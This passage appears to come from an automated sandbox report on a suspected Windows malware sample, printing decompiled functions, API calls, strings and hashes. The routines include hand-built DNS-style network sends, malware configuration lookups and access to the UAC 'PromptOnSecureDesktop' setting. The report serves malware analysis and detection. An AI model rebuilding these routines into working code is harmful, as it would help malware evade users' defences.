							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x751443e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(751443E8,00000000,?,751443E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,751443E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,751443E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 004379F4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437A53
_memset.LIBCMT ref: 00437ADC
__invalid_parameter.LIBCMTD ref: 00437B3B

Strings

P, xrefs: 00437B50

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
Opcode ID: 27e629eb9fc4ce99e3b7b02e8d1465230cf7338f0d24004ad613c98dd90590f7
Instruction ID: 36481002134c184b00fa9dcf3a074d3b67d18bf9ae01fd97090573f050e17bf0
Opcode Fuzzy Hash: 27e629eb9fc4ce99e3b7b02e8d1465230cf7338f0d24004ad613c98dd90590f7
Instruction Fuzzy Hash: FF419EB0A04309DBCF24DF58C8457AE7770FB48319F10966AE9B41A3D0D3799A51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,751443E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: ea61079883e1d137724bdb03d89989e3cb326a6ab799ec698869bd57d3053e24
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 006CE77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006CDF55: GetCurrentThreadId.KERNEL32 ref: 006CDFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,006CA695), ref: 006CE802

Strings

PromptOnSecureDesktop, xrefs: 006CE829, 006CE82E, 006CE865, 006CE884

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: c1c3437ccd50e993e28e427156246348b8245a8ff7b4e3dd279fca5789394126
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: 252129B2A013017AE2657B715C4BFFB3E1EDB54750F10003DBA0AA51D3EAA6D86082B9

Uniqueness

Uniqueness Score: -1.00%

Function 0043C5A6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C620
__aullrem.LIBCMT ref: 0043C7F0
__aulldiv.LIBCMT ref: 0043C812

Strings

9, xrefs: 0043C823

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction ID: e72400e0275c0b618f56b7d834e26891fdd5be84ec8f2cc0e1c5b4cdb2b6a40a
Opcode Fuzzy Hash: 222ee5dd95a291f1b037ac56949667a20efda2f245ffb5cf1fadd6b0f5447211
Instruction Fuzzy Hash: 7C4117B1E1012A9FDB24CF58C881BAEB7B5FF89314F10519AD549B7241C7789E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0043534C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435378
__aullrem.LIBCMT ref: 00435545
__aulldiv.LIBCMT ref: 00435567

Strings

9, xrefs: 00435578

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction ID: c852f4e18e613dea7cda164503490924dd1076877ec7005feee96f3e10d91ec0
Opcode Fuzzy Hash: 561cae2ce915adacbac345bc4ad06e18f354e42eb11492e6f48ca8b880a668e1
Instruction Fuzzy Hash: 4F41E571D11A28DFEF24CF48CC99BAEB7B5BB58304F20959AD009A7244C738AE80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043C5F4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C620
__aullrem.LIBCMT ref: 0043C7F0
__aulldiv.LIBCMT ref: 0043C812

Strings

9, xrefs: 0043C823

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction ID: 4ef0799d4488d8a1480b0e4e6cf3bc0a761be1c238b951d43089d57f2b7ea5ec
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: AF4105B5E1022A9FDB24CF48C881BAEB7B5FF89314F1051AAD549B7241C7385E81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00427F7D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427FA9
__aullrem.LIBCMT ref: 00428176
__aulldiv.LIBCMT ref: 00428198

Strings

9, xrefs: 004281A9

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction ID: 96e67ee65aca39bfa9e88174851b27f2aa1b82f5160ee67494e6cdee5d4d63d6
Opcode Fuzzy Hash: 50f9599ea3c35641d8adc9b49fa0aad7e181bc1c7d40e11cc0d3baf5df0e669b
Instruction Fuzzy Hash: 1F411471E05229CFDB64CF48DD89BAEB7B5BF84300F50859AD009A7241CB38AE81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 004352FB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435378
_get_int64_arg.LIBCMTD ref: 004353A0
__aullrem.LIBCMT ref: 00435545
__aulldiv.LIBCMT ref: 00435567

Strings

9, xrefs: 00435578

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: 82ff1eee61c8f8f612cc376d63d4b9abe353402482fa2af1f0c4f5182a6a34b5
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: 9641E4B1D05A28DFDF24CF58C889BAEB7B5BB58304F2095DAD009A7244C738AE80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C59D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C620
_get_int64_arg.LIBCMTD ref: 0043C648
__aullrem.LIBCMT ref: 0043C7F0
__aulldiv.LIBCMT ref: 0043C812

